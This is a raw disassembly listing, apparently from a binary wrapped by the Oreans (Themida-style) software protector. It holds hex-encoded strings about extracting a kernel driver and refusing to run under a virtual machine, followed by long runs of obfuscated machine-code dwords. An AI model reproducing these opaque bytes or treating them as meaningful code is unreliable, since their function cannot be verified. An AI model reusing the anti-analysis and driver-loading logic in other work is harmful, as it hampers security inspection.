		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
		dd 38B9C48Bh, 8974C759h, 481F4D85h, 0D9852906h,	8006480Ah
		dd 0C08B65D5h, 20E9BD83h, 75000648h, 61BD8309h,	6482Ch
		dd 53501974h, 3DB8C08Bh, 89000004h, 4828A185h, 2C9D8D06h
		dd 0FF064AB0h, 83585BD3h, 482C61BDh, 17740006h,	3DB85350h
		dd 89000004h, 4828A185h, 1B9D8D06h, 0FF064AADh,	6A585BD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 3A62C352h, 897FEBE6h, 4828318Dh, 3DB52906h
		dd 0F064821h, 68Fh, 71958900h, 8B06482Fh, 8BEB8AC0h, 918D8BC0h
		dd 8306481Bh, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 64AAECEh, 585BD3FFh, 2C61BD83h
		dd 74000648h, 0B8535011h, 0
		dd 0AD7F9D8Dh, 0D3FF064Ah, 0E860585Bh, 14h, 40A3EDD6h
		dd 167EB477h, 8C5F2C0h,	0E2B5E292h, 5088BA2Eh, 95BCF8Bh
		dd 481FC595h, 8B666106h, 0F9C08BF9h, 0B509C08Bh, 6481D8Dh
		dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501374h
		dd 0B8C08Bh, 8D000000h,	4AAE009Dh, 5BD3FF06h, 61BD8358h
		dd 6482Ch, 53501174h, 0B8h, 4D9D8D00h, 0FF064AADh, 81585BD3h
		dd 107457F7h, 0BC08B2Eh, 4823B1BDh, 0FC08B06h, 684h, 0C9950B00h
		dd 83064806h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 64AAE67h, 585BD3FFh, 2C61BD83h
		dd 74000648h, 0B8535011h, 0
		dd 0AD669D8Dh, 0D3FF064Ah, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 25FC00C3h
		dd 0CA8B6656h, 56006A5Ah, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 5E453A5Bh, 0F4E17DC9h
		dd 0BD8BDCABh, 648012Dh, 0EE9C08Bh, 2A000000h, 63E52BE1h
		dd 3686E823h, 117C2D4Bh, 0FC08B54h, 0BD83C9B7h,	64820E9h
		dd 83097500h, 482C61BDh, 13740006h, 0C08B5350h,	0B8h, 999D8D00h
		dd 0FF064AADh, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0A32C352h, 7A4B55B8h
		dd 5EB4972Ch, 9DB58B60h, 8906482Bh, 480709BDh, 0C08B6106h
		dd 0A5852360h, 8B06481Ah, 483085B5h, 0C08B6106h, 0BF70EF81h
		dd 0BD836C3Bh, 64820E9h, 83097500h, 482C61BDh, 19740006h
		dd 0C08B5350h, 7D0B8h, 0A1858900h, 8D064828h, 4AB02C9Dh
		dd 5BD3FF06h, 61BD8358h, 6482Ch, 53501774h, 7D0B8h, 0A1858900h
		dd 8D064828h, 4AAD1B9Dh, 5BD3FF06h, 55B52958h, 6A06480Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7BB5C356h, 575AF808h, 3570A1Dh, 4829858Dh
		dd 0C08B5A06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	41C35141h, 92C78166h, 0C6319101h, 48276D85h, 63B25306h
		dd 6898D31h, 90680648h,	399395Fh, 481EC98Dh, 21B5FF06h
		dd 906482Ch, 481E2D9Dh,	0BD895706h, 6482D69h, 78858D5Ah
		dd 60064838h, 0B589A6B4h, 6481E2Dh, 0CA816661h,	0D0FF001Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 1AC35040h
		dd 5E6486B6h, 8589ACDAh, 64820BDh, 2820Fh, 0FA8B0000h
		dd 276D85C6h, 0E8570648h, 0Ah, 0CB510289h, 82D3D977h, 0BD03EC91h
		dd 64822A5h, 5206685Fh,	6A9004h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 3F0868C3h, 810FDF92h
		dd 6, 150D958Bh, 0CA810648h, 1F6563B9h,	1D91E981h, 0B5FF42A2h
		dd 6482C21h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	97C35343h, 0E8D7E96Dh, 0Ah, 0E0D91h, 0F6620200h
		dd 8589F4C5h, 648140Dh,	78858D5Ah, 0F9064838h, 8B66D0FFh
		dd 0A58589CEh, 0F06480Ah, 682h,	3D958B00h, 0C6064824h
		dd 48276D85h, 6A4306h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 812BF5C3h, 727F2FE2h, 68D38B1Dh
		dd 0BC907028h, 6E9h, 255EC900h,	0FFE3136Eh, 482C21B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 13CF07A5h, 3878858Dh, 81660648h,	0FF7A25CFh
		dd 619509D0h, 8B06482Fh, 482BF595h, 0BD858906h,	0F8064819h
		dd 276D85C6h, 894C0648h, 481051BDh, 1CE96806h, 0BA66D9DAh
		dd 0B5FF4F5Dh, 6482C21h, 8DCE8B66h, 48387885h, 35852906h
		dd 0FF06481Dh, 0DFCF81D0h, 89624408h, 481EC585h, 0A1958B06h
		dd 0C606482Bh, 48276D85h, 80604606h, 13E87BE1h,	0BB000000h
		dd 0B0E1E1C0h, 5F059D71h, 0FA0140BDh, 0F7D471C9h, 858BAF69h
		dd 6480971h, 1468615Fh,	29BADE06h, 4831E59Dh, 21B5FF06h
		dd 8B06482Ch, 76DA80C8h, 3878858Dh, 0FE90648h, 0E7000000h
		dd 821D5FA5h, 89967BEBh, 71C3C0CDh, 9E9B28Eh, 2C000000h
		dd 0CE78BEF9h, 486089D3h, 3BBAD0FFh, 894BF523h,	482D1985h
		dd 0C6C88B06h, 48276D85h, 958B4706h, 6481BD1h, 0FB5E268h
		dd 56006A8Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8D8B2ADCh, 64806B9h, 2C21B5FFh, 8D8B0648h
		dd 6482971h, 3878858Dh,	958B0648h, 6480EFDh, 46EDF181h
		dd 0D0FF180Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0ACC35747h, 6FE55FBDh, 0CC5063E4h, 0A0BF662Bh
		dd 41858964h, 0E9064824h, 6, 0FECFBC3Bh, 85C64A6Dh, 648276Dh
		dd 81B52947h, 6806480Ch, 83D0B5F3h, 0FFD1B70Fh,	482C21B5h
		dd 0EE906h, 54F70000h, 0B53EFD3h, 27107583h, 336D9105h
		dd 3878858Dh, 0B70F0648h, 0F4DD80F9h, 8A0FD0FFh, 3, 89CBB70Fh
		dd 481E5985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 4A4C8BFFh, 8E3F942Ah, 958970D0h
		dd 6482541h, 276D85C6h,	0BA770648h, 411020F8h, 97A8A368h
		dd 55006AF3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0F4563520h, 1B36D6A6h, 0F6015DEh, 58Dh
		dd 0EA816600h, 9D297C38h, 6480511h, 5DB5FF61h, 89064820h
		dd 4830B9B5h, 78858D06h, 8B064838h, 480045BDh, 0C9E78106h
		dd 0FF4528BBh, 0BDBD8BD0h, 0E9064826h, 12h, 0FDE634F0h
		dd 6C48EE7Ah, 0E298AD65h, 261E71B3h, 8589F97Ah,	64804D1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 79C35040h
		dd 8BC8AC04h, 7AED80D3h, 276D85C6h, 6A470648h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 81C3C356h, 804F0725h, 0F6681FF2h, 318728FAh,	4805C99Dh
		dd 21B5FF06h, 306482Ch,	4825018Dh, 78858D06h, 6A064838h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0A0DAC357h, 4E5BAF5Ah, 295F8C9Dh,	48272D95h
		dd 0E8D0FF06h, 9, 3C3A80DFh, 2DE3A1EDh,	6870F84h, 8B000000h
		dd 4821C58Dh, 85895F06h, 6480AE5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 60C35646h, 9D09CAF9h, 6482B5Dh
		dd 8E8h, 0C4B6E800h, 0EEE48CF4h, 11BD2992h, 5F064806h
		dd 276D85C6h, 60430648h, 0EE8h,	2C75A700h, 8E5C5918h, 30DA8AB7h
		dd 81C4B06Eh, 46A397D3h, 8D295966h, 6481E71h, 6EFC6861h
		dd 6ABC8Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 83EDB6C3h, 30470177h, 0FFE1B535h,	482C21B5h
		dd 3860F06h, 66000000h,	858DFA8Bh, 6483878h, 5E8h, 7737F00h
		dd 0B96678BDh, 0FF5FE83Fh, 758589D0h, 6A06480Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 8EC7C351h, 359529FCh, 0C6064832h, 48276D85h,	0BD894506h
		dd 648281Dh, 72696968h,	9E98Eh,	0CF660000h, 24364978h
		dd 0FFCA58B6h, 482C21B5h, 8DD18B06h, 48387885h,	218D8B06h
		dd 0FF06482Eh, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 6FB986B5h, 89DDB268h
		dd 482A6985h, 5D958B06h, 0C6064830h, 48276D85h,	64684406h
		dd 80B8F2ECh, 0B5FF78D6h, 6482C21h, 0A96493B9h,	78858D78h
		dd 52064838h, 0FF59D68Bh, 85BD8BD0h, 89064804h,	4832CD85h
		dd 4D858906h, 0C6064809h, 48276D85h, 9D014306h,	64820A5h
		dd 764AA768h, 18D01C0h,	0FF06482Dh, 482C21B5h, 78858D06h
		dd 0F064838h, 680h, 0F59D0100h,	0FF06482Eh, 0A18501D0h
		dd 0E806480Bh, 0Ah, 0CDB69325h,	7C4183B7h, 0F7B146A5h
		dd 4185895Fh, 6A06480Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 9E73C352h, 0A18D8BC6h
		dd 80064829h, 4B0486BDh, 840F0006h, 6Fh, 14E98D8Bh, 858D0648h
		dd 64B0468h, 2D958589h,	66500648h, 6A8397BAh, 66D18B01h
		dd 6AFE8Bh, 7E956h, 180A0000h, 34A819D7h, 6A595Eh, 3015B531h
		dd 95FF0648h, 64819BDh,	89D2B70Fh, 4824BD85h, 859D8906h
		dd 0E9064800h, 7, 0AAAF433Dh, 6A25B356h, 0BDB5FFFFh, 81064824h
		dd 2345ED2h, 0A595FF61h, 6606480Ah, 8B671DBFh, 0FBBF0FC0h
		dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501974h
		dd 0D1B8C08Bh, 89000007h, 4828A185h, 2C9D8D06h,	0FF064AB0h
		dd 83585BD3h, 482C61BDh, 17740006h, 0D1B85350h,	89000007h
		dd 4828A185h, 1B9D8D06h, 0FF064AADh, 6A585BD3h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 33A2C356h, 2589958Bh, 0B5890648h, 6480469h, 13F1B589h
		dd 0C08B0648h, 20AD958Bh, 85C60648h, 648276Dh, 0E5858947h
		dd 0F064814h, 88Ah, 0BD8B5000h,	6481A61h, 0F7C1685Fh, 958993C8h
		dd 64828F5h, 2C21B5FFh,	6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 550EC8C3h, 5263DE41h
		dd 0F448C54h, 586h, 0A371BF00h,	0E9506F27h, 0Eh, 35D23C31h
		dd 0D6C6B080h, 0C2F92816h, 8D5F4296h, 48387885h, 8E806h
		dd 4170000h, 0EFF3B9B2h, 8D8B7773h, 6481A95h, 81D0FF59h
		dd 7ECCDBD2h, 8A0F5036h, 6, 0EEDBD8Bh, 858D0648h, 64B08A9h
		dd 0D40EBF66h, 9400C7h,	860F0000h, 1Ah,	11E960h, 86020000h
		dd 93D69D08h, 6B69A79h,	3F72CB36h, 60CDB45Ch, 0F586161h
		dd 0B58DFBB7h, 64B08A9h, 227D8D31h, 89560648h, 4820859Dh
		dd 66D0FF06h, 7D2C281h,	8A9858Dh, 0BD8B064Bh, 6481569h
		dd 6047883h, 18850Fh, 0F88B0000h, 93D85C7h, 1064Bh, 66600000h
		dd 8BBF4BBFh, 48008D95h, 0BD836106h, 6480FA1h, 5E850F00h
		dd 0E9000000h, 0Eh, 0AE246E5Ch,	72BC90BBh, 30A108DAh, 0BD838D8Fh
		dd 64B093Dh, 3E850F00h,	8B000000h, 483101BDh, 7E806h, 0BA8C0000h
		dd 5531505Eh, 835FF81Ah, 480D19BDh, 840F0006h, 1Dh, 15B50956h
		dd 5F064815h, 58C78166h, 6D85C7BEh, 6481Ah, 29000000h
		dd 4809A59Dh, 0DB8C6606h, 0DE9h, 1502E500h, 0AE0E5344h
		dd 30B172FDh, 0C3F6F0FFh, 83840F04h, 9000005h, 480E65B5h
		dd 4985C706h, 64819h, 0E9000000h, 5, 5150BE21h,	93BD80E9h
		dd 64B04h, 4850Fh, 0B9660000h, 85C6F4B3h, 648276Dh, 0F58D0347h
		dd 68064814h, 0E3E45B86h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0EC35747h, 8B104E24h,	481A41BDh, 6E906h
		dd 8B780000h, 8A4BC507h, 2C21B5FFh, 11E80648h, 71000000h
		dd 58C7CB81h, 9C601D85h, 58AE83AEh, 0E4BBD292h,	8D5AF18Ah
		dd 48387885h, 6890F06h,	8B000000h, 4819C58Dh, 6AD0FF06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 7536C350h, 5E2743F5h, 0EE8BBh, 0AA170000h
		dd 0AEFD322Eh, 25AF0472h, 0BA878C65h, 70CFD981h, 685A5F05h
		dd 104h, 84B5C88Bh, 1319D8Dh, 95290648h, 648274Dh, 0F58D2B53h
		dd 0FF06480Dh, 119589D0h, 8D064810h, 48013185h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0B97AB98Bh, 3570778Ah, 52006A50h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8E795FE1h
		dd 998D8B2Ah, 0B906481Bh, 72419ED1h, 445858Dh, 8160064Bh
		dd 2C0DE8D7h, 0D4A4BB1Ch, 50610264h, 48BA6660h,	0A195897Ah
		dd 61064819h, 0FB18858Dh, 810F064Ah, 6,	9958Bh,	0BD8B0648h
		dd 6480031h, 0EDBD8B50h, 89064829h, 482F3DB5h, 0D195FF06h
		dd 6A064804h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0C4EAC350h, 6D958BA8h,	83064800h
		dd 6A0CC4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 22B8B1C3h, 6A91DDh, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 0FB18858Dh, 0FF50064Ah, 480C7595h, 28858906h
		dd 0C6064B04h, 48276D85h, 87684706h, 0FFC7B15Eh, 482C21B5h
		dd 78858D06h, 0FF064838h, 0FF006AD0h, 4B0428B5h, 0BFD0FF06h
		dd 30CAA616h, 4800Fh, 0BF660000h, 0D03D18BAh, 0F000037h
		dd 6483h, 0CB8B6600h, 428B5FFh,	6A064Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F9D369C3h
		dd 0B4195FFh, 11E80648h, 0EF000000h, 414662B2h,	0F09B3AA9h
		dd 0EF4595F2h, 0ED34CDB5h, 0E959C88Bh, 0DBh, 0DBD8D8Bh
		dd 0EE90648h, 8F000000h, 0C5398F9Ch, 8F9E7A0Dh,	0A54C3C8Bh
		dd 28B5FF56h, 8B064B04h, 4804A5BDh, 4195FF06h, 0F06480Bh
		dd 0C85h, 6840F00h, 8B000000h, 48105195h, 8A006A06h, 0A1F181CAh
		dd 6A33C9E7h, 0D08B6600h, 0BE9006Ah, 0
		dd 725CFDE8h, 0D6F8C4BAh, 6AB2C0h, 2D1DBD09h, 6A0648h
		dd 0CF816653h, 6A5F015Ah, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 7E8D9617h
		dd 0A3BC6FCDh, 8B50FB01h, 480E25BDh, 858D5906h,	64B042Ch
		dd 50D7B70Fh, 95FFC88Bh, 6480C75h, 13E9h, 3A612D00h, 1244CE63h
		dd 0F1923137h, 0DEE6C739h, 1BCE30FAh, 0FFFF883h, 12B85h
		dd 0B6D98100h, 6601785Fh, 8DCC29B9h, 4ABBA585h,	297FB106h
		dd 482E8595h, 8BD0FF06h, 0F006AFEh, 8501D7BFh, 6480935h
		dd 800F006Ah, 0Eh, 9E9h, 0D516C00h, 52941F4Eh, 8B509F8Fh
		dd 483065BDh, 6A5A06h, 0E099503h, 6AFC0648h, 68F0F00h
		dd 89000000h, 4820E595h, 6AF906h, 9558589h, 6A0648h, 810F60FCh
		dd 6, 18C1BD89h, 820F0648h, 6, 0DA58D89h, 8D610648h, 4B042C85h
		dd 50F58A06h, 9E9h, 4A19400h, 0DC75D714h, 95FF4DB4h, 6480C75h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 95C35545h
		dd 6115A1A7h, 7E9h, 38AC5400h, 9882D825h, 0FFFF883h, 5785h
		dd 0FD8D0300h, 0F806482Ah, 0FE34B58Dh, 8DFC064Ah, 4AAA1785h
		dd 759D8906h, 0F06481Fh, 0D0FFCBBFh, 108D0Fh, 0BE90000h
		dd 6B000000h, 526033F9h, 0FAD52663h, 6A1E45h, 20A58509h
		dd 95FF0648h, 6482A69h,	18D8B60h, 8906482Fh, 482A5185h
		dd 0BD2B6106h, 64822ADh, 4288589h, 850F064Bh, 6, 1B29B589h
		dd 6A0648h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	0DC35747h, 0CA816626h, 858DD25Dh, 64B0420h, 19799589h
		dd 0F5500648h, 2921B531h, 46A0648h, 3191C180h, 4809798Dh
		dd 79858D06h, 0B2064822h, 81665054h, 6ABCBACFh,	68A0F00h
		dd 1000000h, 4819458Dh,	0E8006A06h, 14h, 95DF8F92h, 0A0D26940h
		dd 0B1D03522h, 6DEA4F06h, 5EA584BEh, 9016A5Ah, 4821919Dh
		dd 28B5FF06h, 8B064B04h, 482BF98Dh, 0CD95FF06h,	0E8064832h
		dd 7, 2319B0D9h, 0FCBEA01Eh, 1AA4E959h,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 143C73C3h, 0D799CAEFh, 0FE9D660h, 90000000h,	0A47804D5h
		dd 5D76E8F3h, 0C714F44Ch, 0C08B265Bh, 20E9BD83h, 75000648h
		dd 61BD8309h, 6482Ch, 53501974h, 0D2B8C08Bh, 89000007h
		dd 4828A185h, 2C9D8D06h, 0FF064AB0h, 83585BD3h,	482C61BDh
		dd 17740006h, 0D2B85350h, 89000007h, 4828A185h,	1B9D8D06h
		dd 0FF064AADh, 8B585BD3h, 482AF18Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0D19086DAh
		dd 0BF0F60DBh, 8B61F8D1h, 0D19589C0h, 8B064805h, 482339BDh
		dd 4985C706h, 1064819h,	31000000h, 4823F18Dh, 0E7B86806h
		dd 0B5FFCEE4h, 6482C2Dh, 3878858Dh, 0D0FF0648h,	28E98589h
		dd 0D4680648h, 0FFC005DBh, 482C2DB5h, 78858D06h, 0FF064838h
		dd 0BD8589D0h, 8D064813h, 4AF8D185h, 0B5FF5006h, 6482C21h
		dd 244195FFh, 0C00B0648h, 0D88B0B74h, 884858Dh,	0FF50064Bh
		dd 84858DD3h, 66064B08h, 75093883h, 0E585C70Ah,	1064804h
		dd 0FF000000h, 480AE595h, 0FF2506h, 0F8830000h,	0C70A7305h
		dd 48285D85h, 106h, 0C9BD3300h,	0E806481Dh, 6, 8A5DBC71h
		dd 0BA66BBC8h, 80590294h, 4B0493BDh, 850F0006h,	26h, 0E9D68B66h
		dd 0Fh,	2332CC29h, 0CA21C4A9h, 0AA9C3CBBh, 0E97764A5h
		dd 1912h, 48A0Fh, 0B9660000h, 0BD83F79Ch, 64804E5h, 0C1850F00h
		dd 29000000h, 482261B5h, 5D858D06h, 0E8064B04h,	11h, 0F4BE5DC8h
		dd 75D697CEh, 0C59AAE95h, 43C04D20h, 0EF816600h, 505F0151h
		dd 38A0Fh, 0C5800000h, 89016A38h, 48232D9Dh, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0BBB1C355h, 6AD08B66h, 0D1816600h, 95FFA560h
		dd 64819BDh, 0DE8h, 0F1073700h,	0A6531C94h, 2551D40Bh
		dd 13E9CE57h, 3B000000h, 0AC0F0023h, 0FA9DC425h, 5478947Dh
		dd 0E79C6712h, 8959DB67h, 4B048785h, 0FF6AF906h, 0C810Fh
		dd 870F0000h, 6, 0B55EC981h, 0B5FF37F3h, 64B0487h, 8CD9D01h
		dd 95FF0648h, 6480AA5h,	0F898858Dh, 8B66064Ah, 95FF50CEh
		dd 6481EC5h, 0D18B6660h, 3A21DB81h, 89614D57h, 4AF92285h
		dd 1D953306h, 8D06482Dh, 4AF8A585h, 17800F06h, 0E9000000h
		dd 12h,	0AC225BAh, 0D6DC4FA8h, 0CD7D3D5Ch, 0FDFC786Ch
		dd 0F504D88h, 0D84h, 8E900h, 0F74A0000h, 56DE6A8Fh, 0B5FFBA4Fh
		dd 64AF922h, 0FF47D980h, 48244195h, 0E9816606h,	8589409Eh
		dd 6481B59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0DBC35040h, 43C9CCCEh, 0DF36B25Bh, 6800Fh, 0BD890000h
		dd 64810D5h, 0AE9h, 0C46BF300h,	0DFA7538Bh, 0B2A8277Dh
		dd 13858D5Dh, 8B064AF9h, 48252D95h, 50F8B206h, 6DFBBF66h
		dd 0AE9h, 64FBCB00h, 33F2AE7Dh,	0FFFC50B3h, 4AF922B5h
		dd 5AB96606h, 4195FF65h, 8B064824h, 482BA5BDh, 36858906h
		dd 0F064AF9h, 683h, 61BD8B00h, 8D064829h, 4AF8F285h, 6870F06h
		dd 89000000h, 4822759Dh, 958B5006h, 6481E05h, 0F922B5FFh
		dd 0BD2B064Ah, 6482C31h, 0FFFBB70Fh, 48244195h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0B94945B7h, 8589E6D8h, 6481D51h, 0F92E8589h,	0F51064Ah
		dd 381h, 0FBBF0F00h, 0E5858D5Fh, 0F5064AF8h, 22B5FF50h
		dd 89064AF9h, 4822BD85h, 4195FF06h, 0E8064824h,	5, 8AE70942h
		dd 68F0F6Ah, 89000000h,	480025BDh, 85895906h, 64AF932h
		dd 0D01BD89h, 858D0648h, 64AF900h, 50F8B70Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0EDC35141h, 22B5FF28h
		dd 0E9064AF9h, 10h, 0F65E62Ch, 0A36AD23Bh, 0B9B20417h
		dd 7773EFF3h, 242D8D8Bh, 95FF0648h, 6482441h, 10E9h, 0FD039200h
		dd 92950135h, 0BD299D2Dh, 0EF7D573Ah, 658589DDh, 6A064823h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0D5A5C355h, 840F8447h, 0
		dd 8DD0BF0Fh, 4AF8B485h, 0DF816606h, 6A500644h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 20F9C356h, 3A095FF1h, 0B986277Bh, 41D37914h,	0F922B5FFh
		dd 8166064Ah, 0FF5B6FD9h, 48244195h, 85852906h,	57064800h
		dd 895FCA8Bh, 4AF92685h, 0BFA2B906h, 858D4BE1h,	64AF8C3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 67C35343h
		dd 0A9BD8967h, 5006481Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0C4C35242h, 82A327CEh, 80CA8166h, 0CBBF0F64h
		dd 0F922B5FFh, 0FE9064Ah, 5C000000h, 89EDD51h, 0E1534D85h
		dd 2F10D72h, 95FFA5A9h,	6482441h, 2A8589F9h, 6A064AF9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F87C352h, 0BD03D7BFh, 648240Dh, 10468h
		dd 9CEF8100h, 8D061878h, 4AF9BA85h, 0ADBD8B06h,	50064809h
		dd 0FFDB589h, 858D0648h, 64AFABEh, 0E2815760h, 5B2DB3B8h
		dd 98D0359h, 6106482Ah,	95FFFC50h, 6481E59h, 0FC085F9h
		dd 685h, 69958900h, 8006480Ch, 4B0493BDh, 850F0006h, 1Dh
		dd 0C8E0Fh, 890F0000h, 6, 284D9589h, 9BE90648h,	89000014h
		dd 481F618Dh, 0E5BD8306h, 64804h, 19850Fh, 0B5890000h
		dd 648140Dh, 93DBD83h, 0F00064Bh, 4D84h, 8E0F00h, 8D000000h
		dd 4AF95785h, 0C303BA06h, 5FE959A9h, 6A000014h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 6321C352h, 17D3BC7Fh, 8D89A674h, 6482775h, 4CDA8166h
		dd 10E9C5h, 0BA660000h,	858D8BB1h, 64AF942h, 28D9950Bh
		dd 89500648h, 4822919Dh, 0BA858D06h, 0F8064AF9h, 8A0F6050h
		dd 6, 2BB1B58Bh, 8B0F0648h, 6, 1CA9BD89h, 83610648h, 4804E5BDh
		dd 840F0006h, 15h, 0CA216DBFh, 0E0858D3Ch, 66064AFAh, 0E945ADBFh
		dd 0Dh,	0C9858DF8h, 3064AFAh, 4825C58Dh, 81665006h, 8A9D25E9h
		dd 18858DCBh, 66064AFBh, 8D89CF8Bh, 6482495h, 8B666050h
		dd 95FF61C1h, 64804D1h,	83C9BF0Fh, 816010C4h, 5A177D9h
		dd 0F7816632h, 8B617779h, 15D980C0h, 20E9BD83h,	75000648h
		dd 61BD8309h, 6482Ch, 53501974h, 0D3B8C08Bh, 89000007h
		dd 4828A185h, 2C9D8D06h, 0FF064AB0h, 83585BD3h,	482C61BDh
		dd 17740006h, 0D3B85350h, 89000007h, 4828A185h,	1B9D8D06h
		dd 0FF064AADh, 0BA585BD3h, 18ECCE8Eh, 30B1B589h, 0C08B0648h
		dd 13E8h, 77325800h, 21F919B6h,	8A5031E5h, 0BE330FEDh
		dd 0D0A2F472h, 0D658D2Bh, 815A0648h, 4AF942BDh,	65726F06h
